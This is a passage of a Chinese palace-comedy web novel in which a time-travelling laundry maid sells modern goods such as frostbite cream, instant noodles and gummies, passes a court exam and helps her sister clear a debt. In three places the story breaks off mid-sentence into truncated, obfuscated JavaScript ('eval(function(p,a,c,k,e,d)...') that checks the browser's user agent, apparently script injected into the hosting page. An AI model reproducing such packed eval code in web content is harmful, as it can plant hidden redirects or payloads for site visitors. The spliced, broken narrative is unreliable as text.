“那就拿你的狗眼好好瞧瞧!”谢平章似是非常愤怒,他一把抓起锦盒里的玉佩,只两根手指捻着玉佩最上头的细绳愤怒地抖动,那整块沉甸甸的方形玉佩在谢平章愤怒的手指头下滴溜溜地转起来。 “呦呦呦!呦呦呦呦呦呦……”余树林和身后的两个年轻小太监都惊恐地伸出手跟着那晃动的玉佩左跑右跑,生怕谢平章这个暴脾气一脱手把玉佩甩脱,这要真甩出去可不得了! “奴才看清楚了!看清楚了!无碍无碍!”余树林盯着那快飞速旋转的完整玉佩快速说道。 余树林带着两个小太监匆匆从良宫出来,出来的时候他狠狠抹了一把汗。 这玉佩要是真在他跟前碎了,那他这么多年踏实工作的辛苦功劳可就功亏一篑了。 来的时候雅贵君嘱咐说玉佩已经断成两截,让他务必带人去看。可是刚才一看,这玉佩明明是完好的呀,那一整块甩来甩去的,好得不能再好了。 碎了的东西还能完好如初吗,更何况那玉佩眼见就是一点没有两半啊。 余树林心中烦闷,聂如良和谢平章这两个天天争风吃醋的泼夫斗法,最倒霉的是在底下打工的他。 “哈哈哈哈哈哈!”待余树林走远,谢平章和石万两个人在屋里笑得不可开交。 “看把这余罗锅吓得,匆匆就跑走了,我看他怎么和聂如良交差,一聂如良听到玉佩没碎的消息一定气得脸更黑了。”谢平章打了个胜仗,心情舒畅。 他将玉佩放进锦盒里,仔细端详着中间裂开的部分,幸好宛东送过来的那什么“万能胶水”及时,他看到她将那胶水涂在玉佩断面上,然后两块对好,用力按了一会,就把玉佩粘好了。 而且那胶水只要一点点,就能够粘住那么沉的玉佩,真是宝贝。 只是对光仔细看的话,玉佩上的断痕还是明显的。 今日过了这关,保不准明日还有新的难关,当务之急还是复宠最保险。 “石万,把本君的之前没绣完的鸳鸯图拿出来。” * “那玉佩是完好的!”余树林表情郁闷。 “不可能,摔成两半是本君亲眼所见!” 玉佩断成两截,可是聂如良亲眼所见。但是看着余树林的表情,又不像是在撒谎。 “奴才去看了,真没断,而且就是御赐的那块,辉郎官还放在手里来回荡呢!我身边的两个徒弟也都看清楚的!”余树林指指身后的两个小太监,那天也是这两人陪他一起去的良宫。 “你也亲眼所见,我也亲眼所见……”聂如良仔细思忖,“肯定是那谢平章使了什么障眼法。”几日不见,谢平章似乎长了点脑子。 更让他愁的是,余树林去良宫的当晚,皇上听说谢平章受了委屈就移驾良宫去看望他。 不知道谢平章给皇上灌了什么迷魂汤,昨天皇上竟然将他从良宫放出来了,身份也从郎官被擢为卿,虽说距离贵君还隔着贵卿、君这两级,但谢平章以前风光过,想再要恢复贵君之位与他平起平坐只是时间问题。 难道他背后真有高人相助? 余树林走后,聂如良气愤地摔了杯子。两个太监连忙收拾,这回他看清楚了,这小太监的手全都是嫩白柔滑的,几乎没有任何冻疮,比他长满冻疮的手水灵了不知道多少倍。 “你们的手是怎么回事,之前的冻疮呢?” 两个太监你看我我看你,面露难色。 “如实招来,否则去领罚。” “是是,奴才说,就是最近宫人之中都流行一种可以治疗冻疮的药膏,抹在手上冻疮就会好得快,还有滋养皮肤的功效。” “冻疮膏?”聂如良气愤。 “是……是浣衣局一个小宫女卖的。” 浣衣局?那里的宫女竟然有此等好东西? 聂如良突然想起了什么。 浣衣局就在良宫的外院,是唯一能够和良宫接触的地方,谢平章和石万两个人,头脑简单四肢发达,是万万不可能真有什么“障眼法”的,难不成“高人”就在浣衣局? “现在去浣衣局!” * 夜晚,浣衣局的大堂里。 温暖的火炉上煮着热乎乎的方便面,整个大堂都是藤椒的味道。 大堂另一侧,烛火摇曳,木桌旁边,一众宫女围坐着,她们面前,柳宛东举着一副粉色的家务手套。 “这个呢,就是防水加厚手套,平日里洗衣服可以带着这个手套,这样能保暖隔冷,尤其来月事的时候更要戴着!”柳宛东在给包括妙凌在内的众多宫女“上课”。 “好了,现在,哪位可以回答我,这个手套平时怎么保存?谁答对了我就给谁一包□□糖!” “我!”姹紫率先举手! “好,姹紫同学,你来回答!” “这种手套呢,里面是加棉絮的,外面是光滑不怕水的,所以就要系住袖口,放在水里保存。” “错。”柳宛东痛心,刚才她讲了胶皮的作用和储存,怎么记不住啊。 姹紫用力挠了挠头,不怕水,所以放在水里,不对吗? “我知道!”嫣红举起手。 “好的,嫣红同学。” “这手套外面是胶皮,胶皮能防水,但不能长时间浸泡在水里,否则会开裂,所以使用完要擦干,放在阴凉通风处。” “没错,嫣红同学连续两次都答对了,一共给你两包□□糖!姹紫同学不要伤心,总会有答对的时候。” “哦!”房间里兴奋又遗憾的欢呼声响起。 “再来再来!” 这些天,见识到了宛东的厉害,也享受到了搓衣板和洗衣粉等物品的便利,姹紫和嫣红两个人老实不少,见到柳宛东都客客气气的,上次三个人还因为互相谦让,都想让对方先出门而齐齐摔了跤。 大家正乐呵着,外面通传声响起。 “雅贵君驾到。” 雅贵君怎么又来了? 辉君都从良宫走了,他没事来浣衣局干嘛?柳宛东隐隐觉得大事不好,可人马上就要进院,她匆匆把煮着方便面的砂锅盖上盖,连同炉子一起放到窗帘后挡住。 聂如良的轿辇落入院中,院里一行人早已整齐排开在院子里行礼。 他先是环视了浣衣局的小院,水井、漂洗池、石板路、大槐树,都没有什么异常。 接着,他的目光落在跪着的一排浣衣局宫女身上。 也没什么特别的,只 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“浣衣局每日送来的衣物,我们都会按时清洗、晾晒,按约送回,没有纰漏,还请贵君明察。”妙凌辩解。 “每天沾冷水,手还会这么白?谁来告诉我这是为什么?” 柳宛东心下明了,说她们偷懒是假,跑来兴师问罪是真。“是奴婢,研发了一种治疗冻疮的药膏,涂在手上便可让冻疮痊愈。” “所以你就私自卖给了其他宫人?”聂如良身边的小太监涨红了脸,低着头不语。 “冻疮膏疗效甚好,奴婢不想一个人独享,想惠及众人。但是原料昂贵,只能收个本钱维持生计。”柳宛东道。 “一个小宫女,都能研发冻疮膏了?真是厉害了。那这么说,辉君断裂的玉佩也是你接上的?”聂如良表情严肃。 原来这才是聂如良此行的真正目的,柳宛东明白过来。 “奴婢不知。”柳宛东咬死不承认。承认了就是和良宫的侍修私自传物,就是和贵君作对。 贵君处置一个小宫女还是不在话下的。 聂如良眼尖,一眼便看见南侧的窗帘鼓出来一块,他叫人把窗帘打开,一个泥炉子以及上面煮着面的砂锅出现在眼前。 泥炉子! 聂如良想起来了,当时去良宫那日,他就觉得哪里不对,现在想明白了。 谢平章怎会让一个泥桶放在屋里?那根本不是泥桶,而是让房间变暖和的炉子! “辉君的屋里也有这样的泥炉子,你不承认?那就必须给你点厉害了!”聂如良示意身后的两个宫女。 那两个宫女上前就把柳宛东按住。 “谁来求情就和她一样被掌嘴。”妙凌刚要开口,就被聂如良喝退。 “如果掌嘴我,就没办法教您使用冻疮膏了!”柳宛东赶忙道,“那冻疮膏效果良好,强烈推荐您用用,试过几次手就会恢复白皙。” 聂如良迟疑,他的目光落在自己的双手上。 这一番话说到聂如良心里去了,他最关心的就是自己的手,每次看见别人的细嫩的手心里就不得劲,奈何冻疮总是治不好。 “松开她!”聂如良示意那两个宫女,“那冻疮膏你给我抹,要是没效果就新帐旧帐一块算!” “是!”两个宫女松开柳宛东,柳宛东立马转身去拿冻疮膏。 空气中飘着一种香气,聂如良嗅了嗅,这是一种混合了香、辣、酸的味道,勾得他想吃东西。 “什么味道这么香?” 8. 第八章 柳宛东从柜里取完冻疮膏回来的时候,聂如良已经吃完了两碗方便面。 聂如良擦擦嘴,伸出手,“给本君涂上吧。” 如果要让聂如良回忆一下入宫以后印象最深的一件事,那肯定是他和冻疮膏的“初见”。 那是一个白色的圆形罐子,通体是白色的,但不是瓷器,看上去比瓷器轻很多。将上面的盖子轻轻旋开后,里面就是满满当当的白色膏体。 柳宛东先拿用温水浸泡过的手帕擦拭聂如良的双手,清洁干净后又拿松软的干手帕擦干他手上的水分。 然后从那罐写着“云南白药秘制冻疮膏”的塑料罐体中挖出一大块涂到聂如良手上。 膏体纯白晶莹,柔软绵密,像是以前厨房熬出来的白色猪油,不过质地可比猪油细腻,还散发着淡淡的清香。 柳宛东把膏体厚厚地涂到聂如良的手上,他只感觉到一种温热。 很快,手上那种麻痒的感觉就没有了,酸胀感也消退下去,聂如良没想到这冻疮膏药效这么快。他反复看着自己的手,涂完药膏之后,手上的皮肤亮亮的,湿润细腻,皲裂的地方全都变得软和许多。 关节处红肿的地方也瞬间就不红了。将双手合在一起揉搓,他能感觉双手要比平时更加温暖,一种热意布满全手。 他端详着自己的手,左看右看,边上站着的一种宫女太监全都不敢使劲喘气。 看了半天,他缓缓抬起头,对着柳宛东道:“还可以,你把手里的冻疮膏全都给本宫带上吧,本君今天便饶了你吧。” 此话一出,几乎所有宫人全都松了一口气。 “对了,”聂如良刚站起来又说了这两个字,周遭表情轻松起来的太监宫女全都冷静下来,屏息等着他的指示。 他将刚刚吃过方便面的碗递给妙凌。 “还有吗?” “这锅是没了。还可以再煮。”妙凌道。 “太晚了,剩下的我拿回去,这炉子、这炭、这什么面饼、还有那个、这个、还有这个,”聂如良指着嫣红宫服口袋里吃了半包的Q.Q糖,里面红色的一块快的煞是可爱,“这个也要……”聂如良吩咐自己的贴身太监,“多少钱一并算,你去找那个叫宛东的结账!” * 深夜,已经过了宵禁时间,整座皇宫黑漆漆的,只有巡逻的卫兵手里提着的灯笼会闪烁一点微弱的火光。 流华宫,灯火通明。 雅贵君正坐在大殿上点数Q.Q糖。紫色的、红色的、青色的、黄色的、还有粉色的等等,一共10包。 每一包外面包装的颜色都各不相同,粉色的上面画着三个浅粉色的大桃子,紫色的上面画着一串葡萄,青色的上面画着圆圆的苹果…… 那叫宛东的宫女说这是“软糖”。 他拿起一包粉色的,按着宛东教给他的,顺着边缘锯齿用力,撕开了! 里面全都是深红色的圆形糖果,他捏起一个,这糖果然是软的,一捻就变形了!一松手又慢慢变回原状了! 太好玩了,捏了一会,他把这糖放进嘴里。 淡淡的桃子味,再用牙齿咬开,一种软弹黏牙的感觉。但是又不像麦芽糖那么黏,粘得人张不开嘴。这糖很韧很清爽,他一下一下嚼着,那种嚼劲让他的注意力全都放在嘴巴里,以至于都忘记了最近心中烦忧的事情。 他抓出一大把,全放在嘴里。嘴里的桃子味道更浓,他忘我地嚼着…… “贵君,该就寝了!”聂如良的贴身太监康敬走到殿上提醒他去洗漱。 谁料走近一看,满地全是撕开的包装袋,聂如良吃得两腮鼓鼓的,手里正拿着最后一包Q.Q糖准备打开。 “好的,最后一袋。”聂如良用力一撕,力气用大了,包装直接从上裂到下,里面的Q.Q糖散落一地。 “正好不吃了,洗漱吧,奴才把水给您打好了,您这两天不是说要按时睡觉吗?”聂如良是不会吃掉在桌子上或者地上的东西的,康敬跟了他这么多年了,很清楚这一点,他上前一步就要去搀扶聂如良。 皇家规则多,什么时候就寝、什么时候起床全都是定数,祖宗定下来的规矩可不能违背。 聂如良低头看了看满地的糖果,不情不愿地站起身,在康敬的搀扶下缓缓走向门口,10包太少了,他根本没吃够,这“软糖”就跟有什么魔力一样,他怎么吃着吃着就上瘾了似的。 待快到门口时,他突然说:“我去拿个东西,你先去洗脸盆那里等我。”然后打开门,一把把康敬推了出去。 康敬有点愣怔地站在院子里,今天贵君怎么了,一惊一乍的。 聂如良关好门飞奔回去,开始在地上捡掉落的Q.Q糖往嘴里塞,一个、两个……捡了半天,椅子桌子下面都翻过了,确定没有遗留的糖他才放心出门。 * 这几天,听说雅贵君深夜去浣衣局买了不少东西,柳宛东“卖货宛东”的名号可是打出去了。 一堆人找她买东西,这个宫那个宫,大家都托送膳的宫人或者奉命去别宫的宫人帮忙带货,柳宛东每日都有进账,好不快乐。 其中,冻疮膏和暖宝宝最受欢迎,除了浣衣局的宫人,其他各宫的宫人都或多或少有冻疮,光是这几日,冻疮膏就买了60多罐了。 她也不多挣,一罐50g价格20块的冻疮膏就加10文钱的利。 这一罐,省着用,能用大半个冬天呢。 账户里也终于到了四位数,1104.01元。这段时间,每日不上工的时间,不是卖货就是进货,她几乎没有再下单新的货品,除了前两天她买的那样随身携带的物品。 晚上刚吃过晚饭,妙凌就接到通传,要临时将浣洗好的一件衣服送去凤君的飞羽宫,急用。 妙凌指派了柳宛东去送。 这还是柳宛东第一次走出浣衣局,来到宫里呢。浣衣局因为要大量流水的缘故,被设置在皇宫最边上,周围几乎没有什么建筑。 她好不容易跟着通传宫女出了宫,也不敢没礼貌地四处张望,只敢轻轻抬头看,青鸾朝经济不怎么好,皇宫建筑也没想象中那么金碧辉煌,给她更多的感觉就是庄严肃穆以及坚硬板正。 这宫那殿,所有道路,全都是轴对称,是很“完美”,但是缺少灵活感。再说凤君宫殿里的椅子,宽大的木头,上面只有一层薄薄的布垫着,平日在这坐着,不得把尾椎骨坐折? 送完衣服,柳宛东记得路了,就和通传宫女拜别,打算自己回来。 哪想,还没出飞羽宫最外的宫门,她肚子一阵剧痛。 她心道不好,晚上的方便面放了太多藤椒佐料,她的肠胃受不了。 她想上厕所。 忍耐着走了几步,她满头大汗地停了下来。 她必须上厕所,现在。 可是从这里回到浣衣局得走挺长一段路呢,她恐怕是坚持不到用恭桶了。 眼下她实在走不动,转身闻到某个宫殿下头有厕所的味道。 难道这里就是飞羽宫的厕所? 她闪身走了进去,她真的一步也不能多走了。好在她带了之前在淘宝下单的那样物品。 半个时辰后。 飞羽宫。 “凤君,您莫要叹气,急不得的!”陆青钰并不理会太监们的话,他穿着厚厚的披风,匆匆往恭房走去。 风很大,心好冷。 陆青钰心乱如麻,别人如厕也会有这种烦恼吗?还是说只有他一个人有? 每次如厕完,擦拭的时候会非常难受。 他按着太医说的,要多喝水,多吃蔬菜,可是他总是忍不住想吃辛辣的东西,这就导致如厕时他总觉得屁股后面又辣又痛。 现在他又想去上厕所,他已经有预感,他很快就要再痛一次。 他出恭的时候是有专门的太监侍候的,很快,他如厕结束到了最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“臣侍多来看望皇上,皇上难道不喜欢吗?” “喜欢,有你陪朕,朕开心。”轩辕朔气宇轩昂,不怒自威,她拉着聂如良两个人坐在侧座上。 “皇上您看臣侍,哪里有了变化?”聂如良从侧坐上起身,在轩辕朔面前转了一圈。 “又来?”轩辕朔最怕这些侍修们问这样的问题,她每次都回答不上来,什么发型啊、饰品之类的不一样了,她完全意识不到。 “臣侍给您提个醒。”聂如良将骨节分明的双手举在轩辕朔眼前。 轩辕朔恍然大悟,“新扳指!好看!” “不是啊,这个扳指去年游园的时候我戴过。”聂如良不太开心。 “你的……手……”轩辕朔犹豫地说。 聂如良露出激动的表情,用眼神鼓励她继续说。 “手掌纹是不是多了?”轩辕朔摸着聂如良的手掌,看半天挤出这么一句话。 “臣侍这手变细腻了!”聂如良还是自己说出了谜底。 “嗷!”轩辕朔再次恍然大悟,“真是好大的变化啊,就如同八公主和九公主的不同啊。” 八公主和九公主是一对双胞胎。 “皇上又取笑臣侍!”聂如良笑道。 二人打闹了一会,聂如良和轩辕朔坐进一个座位里,他将头轻轻靠在轩辕朔的肩膀上,“其实今天臣侍来,是有事相求。” “臣侍想要浣衣房的一个宫女到我身边当差。”聂如良微笑。 如果宛东是他的部下,那些神奇的吃的用的不就取之不尽了吗,更主要的是,到时宛东在他身边当值,如果他不想,谢平章连半块Q.Q糖都见不着。 9. 第九章 浣衣局的宫女位分最低,再上一级是杂役宫女,然后才是各宫宫女,再往上是女官。 即便是贵君,想要越级越宫提拔宫女也是不符合宫规的。 所以聂如良想着和皇上开口,让皇上将宛东赏赐给他。 “该不会是那个名叫‘宛东’的宫女吧?”轩辕朔皱眉。 “就是她,皇上知道?” “你们怎么都向我要这个人?” 都?还有谁能来要宛东?知道宛东厉害的,只能是谢平章了。 “皇上给别人了?”聂如良心惊胆战。要是被谢平章抢先了,不知道以后的日子要怎么艰难。 “那倒没有。” “哦!”聂如良松了一口气。 “朕谁也不会给。” 谁能在皇上手上要人呢?他不是不识趣的,只要宛东不是落在谢平章手里就好。 轩辕朔看过浣衣局的工具变动,“搓衣板”这样趁手洗衣服的工具非常好用。 而且自从浣衣局用了宛东研究的“洗衣粉”后,送回来的一件毯子就一直香喷喷的,连带着她现在都不用贴身宫女给自己洗衣服了,而是直接将衣服送去浣衣局。 往年的女官全都是从宫外有职级的官员家中选拔,今年她想扩大一下范围,毕竟宫内女子能人辈出。 * 宫女选拔考试现场。 柳宛东站在队列中间。 这次选拔范围扩大,报名的人数骤多。 在考试的大院中分别坐着六位考官,参加考试的人被随机分成六列,每一列对应一位考官。 考官手持题册,会随机选取考题,考题涉及宫规、文学等多个方面,每人三题。被考宫女要当场做答。由考官打分,最后排名靠前的人则通过考试。 柳宛东被分配到了最东侧,她并不知道会考什么内容,但从前面考完的几位宫女的表情来看,应该并不简单。 “呜呜呜!”隔壁队一个考生考到一半答不出哭着跑走了。 这一哭像一滴水滴进了热油锅,让沉默的考试队伍瞬时炸开了锅。 “肃静!”不断巡视的主考官赵同惠在前方厉声。 很快队伍又回复了平静。 很难吗很难吗?柳宛东其实心里没底。 青鸾朝的宫规纷乱复杂,宫女宛东刚入宫就学习过,她是有这块的记忆的,但宛东入宫这么久,几乎没出过浣衣局,学到的那些条例几乎就是个摆设,要是问具体细节或者拓展一下还是吃力的。 再说文学,这是最让柳宛东发怵的,她的诗词储备仅限于学生时代学习的那些,真要她当场写一篇文言文出来,那就非常难看了。 “下一位,丙78号。” 柳宛东走到考官面前坐好,走近了她才发现,每位考官面前的桌子上都放着算盘、麻纸和笔墨。可以选择用算盘进行计算、或者麻纸进行书写。 “考官好,丙78号。”柳宛东将木制的号码牌放到面前的桌子上。 “丙78号,考试开始,请听题。”那考官约莫四十多岁,笑容和蔼,她随手翻开考册一页,开始出题。 “第一题,宫里要采办米面,1斗米60钱,1斗面80钱,现在有银钱3两,如果想要买30斗米和20斗面,银钱是否足够?如果不够,那要如何调整数量使开支不超预算。” 此时巡视的主考官赵同惠也已经走到柳宛东这里,她站在考官的身后,看柳宛东答题。 这题不难,很简单的乘除法运算和物资分配问题。 宛东没有用算盘和沙盘,这个数字不大,心算即可。 她略一思忖便要开始做答。 不用算珠,也不用草纸便能心算?赵同惠心下了然,是个算数快的,但不够沉稳,心算总是容易出错,以后当了女官,那么多账目,难道还能都不用算珠和草纸?她微微摇头,快速走到旁边去看其他考生了。 对面的考官提示她:“多思考一会也没关系,可以借助工具,答错了可不能改。” 柳宛东侧头看其他座位上的考生,发现有的人在纸上列出了账本格式,还有人在用算盘算数。 她突然明白,这道考题并不简单考察算数能力的正确与否,有条理的计算过程也是一环。于是她用算盘计数,又在麻纸上列了竖式,将数字清晰写明后才开始作答。 “3两银是3000钱。30斗米的价格是30×60钱=1800钱,20斗面的价格是20×80钱=1600钱。二者相加是3400钱,超出预算了。所以第一问的答案是银钱不够。如果不想超预算只要减少超过400钱的米或者面即可,可以是7斗米、5斗面或者是4斗米和2斗面等。” “不错。”对面的女考官微微点头。 “第二题。现在你在尚服局同时接到四件事情,你将如何安排先后顺序? 一、你的领事让你速去核对本月库房的绸缎数量,半个时辰后要向凤君汇报; 二、今早送去贵君寝殿的被子被贵君说花色老土,让你有空选个新的被面重新绷上; 三、一名面生的公公交给你一个封蜡铜管,告诉你这里是加急密信,务必亲自交由南苑张公公; 四、与你交好的女官跑过来向你求助,说她不小心把上月账簿弄脏,想让你帮忙抄写一份,感激不尽。” 这是一个优先级处理的问题,一是上司任务,二是份内工作,三是机密急件,四是同事求助。 很明显,这里是皇宫,机密急件应该在所有之前,皇权大于一切。同事求助可以拒绝,而上司任务和份内工作是必须要做的,先后顺序要看具体时限。 “我会先去处理第三件事,先送密信,万一我在值班会找可靠的宫人传递,再去核对库房里的绸缎,因为半个时辰后就要上报,最后去库房选择新的被面。至于抄写账簿,并不是我份内的工作,我会婉拒。” “很好。”女官对于她的答案似乎很是满意。 “第三题。现在你是尚宫局的普通女官,请誊抄这份《物品清单》。”考官递给她一张纸。 抄写?这么简单的吗? 柳宛东有点懵,抄写比朗诵还要容易,因为朗诵万一遇见生僻字可能会卡壳,但写字不会。 就算不认识这个字,照葫芦画瓢也能抄出来,可以说是零难度,而且她小学时候学过几年书法,毛笔字写得还可以。 本着从小到大多次考试压轴题都在最后的直觉,她没有忙着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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难道,考核还未结束? 她再看向眼前刚刚抄过《物品清单》的草纸,突然想起写到一半的抄件也应当被回收,于是又道:“此草稿涉密,请大人处置。” 终于,考官连连点头,露出深深的笑容,“三题已考核完毕。回去等消息吧。” 一个月后,成绩放榜,柳宛东的名字赫然在列。 笔试通过后就是体检,体检就是检查一下肢体有无残疾、精神是否正常,这关柳宛东也很快就通过了。 通过体检之后就是审查环节,这个环节就相当于现代公务人员考试的政审。需要宫里派人去考生家里进行审查,看家风是否良好,家庭成员有无犯罪记录。 通过体检的第二天,也就是发月例的当天。柳宛东就收到了家里的来信。 来信是妹妹宛铮写的,说她为了能挣点钱填补家里,就去给别人当保人。结果那人借了钱庄的钱跑路了,这窟窿只能她填,现在她们把家里房子的地契都押给了钱庄还是不够,要让宛东想办法帮忙凑够3贯钱。 柳宛东两眼一黑,保人就是担保人,青鸾朝早有律法,“如负债者逃,保人代偿。”[1] 且不说欠债还钱,天经地义,宫里的审查就在半月后。 宛铮来信中已经说了钱庄最多宽限半月,如果到时偿还不了债务会就直接上报官府,成为“死责”,与此同时借贷人和担保人的欠款记录都会被记录在官府的户籍册上,类似于现代所说的家庭征信档案。 上了户籍册,审查一定通不过。 这是绝对不能发生的。 10. 第十章 柳宛东看了一下自己的淘宝账户,最近不少宫人甚至是侍修都找她买方便面和炉子,账户里已经有两千多元,再加上刚到手的月例670文,如果全兑换了,恰巧能够填上3贯钱的窟窿。 宫女宛东从入宫开始一直到现在,每个月都往家里寄钱。宫里吃穿用花不了什么钱,她每次都要寄500文给家里。 500文,也就是半贯钱。节省着花的话,家里的姥姥和妹妹两个人是足够的。可姥姥才五十多岁,妹妹也年方十六,只比自己小两岁,两个人都是年龄合适的劳动力,完全可以自力更生。 人一旦有了依靠,即便这个依靠很弱小,也很难自立。 长久地寄钱,不断地填补窟窿,并不是办法。 她仔细端详着妹妹宛铮送过来的信,上面的字行云流水,自成一派。 思索片刻,她提笔回信:“窟窿不补,谁担保谁补钱。以后每月的500文也不会再寄回家里了。要是你们真的想承担还钱的责任,而不是被收回住宅、扭送官府、记录在册的话,就于三日后的月初二于德阳门下会亲。” 授人以鱼,不如授人以渔。 * 月初二,德阳门下。 柳宛东背着包袱站在宫门外,包袱里是一些方便面、蛋黄派、洗衣粉和冻疮膏,今天是会亲日,她在等姥姥和妹妹。 她入宫七年,从第七年开始就能每月初二在德阳门外会亲了。 虽然她并不是宫女宛东,但她现在用着宛东的身体,宛东的家里人和她流淌着同样的血液,所以她们就是她最亲近的人。 不一会,身后响起了声音—— “姐?”、“东儿?” 柳宛东回头,面前站着一老一少两个人,两个人面色激动。 年长的那个衣着整洁,眼角皱纹很多,两鬓斑白,笑容和善,这应该就是姥姥了。 年幼的那个应当是妹妹,比自己还要高半头,肤色黝黑,身材壮实,眼睛漆黑明亮,笑起来眯成一道缝,很是灵动可爱。 她激动地迎上去,“姥姥,宛铮!” “姐,我可想你了!”三个人抱作一团,哭着说了一会话,柳宛东把包袱里的东西悉数给她们并告诉用法后,又正色道,“做‘保人’是怎么回事?” 宛铮原本的笑容褪去,眼圈通红,“我认识了一个去天竺的商人,那人说天竺想要咱们这的茶叶,天竺的香料和棉布是咱们这的稀罕物,能卖上高价。她两下倒手,能挣不少钱,只可惜手头紧,让我做保人,她回头分我两成利……”[1] 宛铮越说越哽咽,“都怪我,财迷心窍就在契约上签字了,结果那人上了渡口再没回来,咱家的地契还在钱庄那,这月十五,钱庄就要来人把房子占了去,到时候我和姥姥连住的地方都没有……”说着说着,宛铮放声大哭。 “不许哭,遇到点事就哭,你看你那点出息,有没有点女子气概?”柳宛东点了点宛铮的额头,宛铮立马把号啕大哭的模式改为了小声啜泣。 “东儿,这回你妹妹知道错了,你帮我们出出主意,我们肯定老老实实,再不捞那偏门了!” “我倒是有一个想法,现在‘书坊’不是很流行吗?我看宛铮写字不错,也可以做‘书坊’生意,将那些四书五经、《诗词》、《佛法》都抄一些,不就能换钱了吗?” “这倒是可好办法,我怎么没想到!宛铮使劲擦了擦鼻涕,露出笑容,“我现在就回去抄!” “等等,等等!抄书太慢,就算你日夜抄送,这十多天最多能抄多少本?一本麻纸手抄能卖100文吗?!” 宛铮愣住了,她仔细一想,姐姐说的确实没错,到十五还债日一共十天出头,她就算不吃不喝又能抄几本?光是《孟子》一本就要抄三天不止,顶多卖个一百多文。 “你这样,”柳宛东示意二人靠近,在两人耳边小声说了些话。 “这怎么可能?”宛铮疑惑。 “现在只有这个法子了!你干是不干?” “我干!” * 月十五,宛铮正和姥姥出现在聆风书院的后街。 聆风书院是京都最大的书院,几乎所有王公贵族家的小姐都在这里念书。 书院后街是吃喝玩乐一条龙,卖什么的都有。 宛铮刚蹲在地上支好摊子,眼前就出现了六只脚。 她缓缓抬头,鼎富钱庄的“跑街”李金斗带着两个强壮的丫头出现在眼前。 李金斗声名在外,江湖人称“金斗雷”,是个说一不二的主。不管是谁,只要是欠了钱庄的钱,就是跑到天涯海角,她也能按时按量把钱要回来。 李金斗强壮的身体像一堵墙,说话的声音如洪钟般响亮,“我说宛铮啊,看在咱们俩小时候在书院坐过同桌的份上,你呢就干干脆脆地把钱还了,我还能请你和姥姥一块去俊香楼吃点好的,不过你要是还不上,”说到这,她面色一变,凶狠的目光在姥姥和宛铮身上逡巡。 “你们家那房子又破又小,撑死了也就值1200钱,剩下的800钱,断一指50,断一只手300,断一支臂500,你看你是要用断1个手臂加1只手抵,还是断16根指头抵啊!” 宛铮吓得说不出一句话,她双腿打战,脸涨得通红,姥姥更是早已经双腿瘫软,吓坐在地上。 但很快她想起了姐姐的嘱咐,就平复心情大声道:“契上说月十五还,这清晨也是月十五,傍晚也是月十五,今天还没过完呢,你着什么急啊?” “这都该吃晚上饭了,书院都快下学了,你这会没有钱还我,过两个时辰难道就有了?”李金斗嗤笑一声,“我看你就是想抵赖,来呀,把她的摊子掀喽!” “摊子掀了你就真一分钱都拿不到了!”她立马护住摊子上的竹背篓,“我说一会有钱肯定就有钱,我把这背篓里的东西卖了就还你钱。” “嗨哟,我说宛铮,你现在可比小时候会吹牛了,啥东西能卖2贯钱?”李金斗看着宛铮的竹背篓,那背篓很小巧,装不下太多东西。 不过她还是示意两个手下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“走,咱们也去看看!”林淮清生平最爱看热闹,她拉着沈星澜三步两步就挤到了人群最前。 中间的空地上站着一个肤色黝黑的女子,她正拉着一个壮实的女子,那壮实的女子颇有声名,是鼎富钱庄的“跑街”李金斗,这场面似乎是要打架。 再仔细一听,两个人并没有要打斗的意思,反而是那个黑皮肤的女子在单方面说着什么! 因着李金斗的出现,有她在的地方总是免不了有热闹看,周围人瞬间变得多起来。 宛铮扯开嗓门:“瞧一瞧看一看啊,清仓大甩卖!上好的四书啊,走过路过千万不要错过!这么便宜的书就只有今天啊,摊主给人做保被坑了,房契都抵出去了!“跑街”已经逼得摊主流落街头,现急需用钱,便宜卖便宜卖啦!” 李金斗捂脸:啊!我有这么凶神恶煞吗?! 林淮清再一看她的摊位上,正卖的是摆放得整整齐齐的一套四书! “多少钱呀这一本!”林淮清随手拿起一本《论语》。 书一翻开,她愣住了。 这书……这书怎地和平日里看到的那种不一样? 书很轻,外皮是深蓝色,很厚很硬,再打开里面一看。 “天啊!”林淮清忍不住叫了出来! 11. 第十一章 纯白色的纸张细腻柔滑,上面黑色的小楷字形方正,她以前在书坊见过澄心堂纸的手抄本,纸张细腻温润,光滑坚韧,墨落在上面不洇不晕,相当好。 今日一看,竟不如眼前这本的十分之一。 纸面光滑得堪比男子的玉肌,没有一丝丝麻杆不顺,发墨极佳,纸厚非常,翻面竟然看不出前页的墨痕,更主要的是,那黑墨不知是加了什么颜料,对光时竟然有微微的光泽感。 白纸黑字!这才是白纸黑字啊! 再一看书侧,竟然不是粗线订制,纸页和封皮之间有一层白得近乎透明,像是米浆的东西,将那书页和封皮牢牢粘在一起,这样不用担心翻动次数太多导致脱线掉页。 制作这个抄本的人简直是天才啊天才! 不知要多少钱!想到这,林淮清一惊,这样贵重的东西竟然就……放在破布垫着的麻布上? 再一看摊主健康的肤色和说要狠狠贱卖的话语。 林淮清突然觉得摊主的肤色好迷人好特别哦,她不禁感叹,“果然是风流才子,不拘小节啊!” 再看身边的沈星澜,正捧着一本《孟子》,也是连连惊叹。 能够见到此等抄本已然是人生一大快事,如果能够拥有……林淮清不敢想,她要是能有一本这样的抄本,她该有多幸福啊! 深吸一口气,她伸出两根手指轻轻戳了戳前面滔滔不绝叫卖的女子。 宛铮回过头来,拍她的是一个穿着书院服的女子,想来是书院的学生,那应该也是大户人家。 “店家,这一本多少钱啊,”林淮清问。摊主虽说贱卖,可是这么好的纸,这么精美的装订,估计应该是个天价吧! 就让她听一下价格,死了这条心吧。 “我就要这本《论语》。”《论语》比《孟子》可薄不少呢。 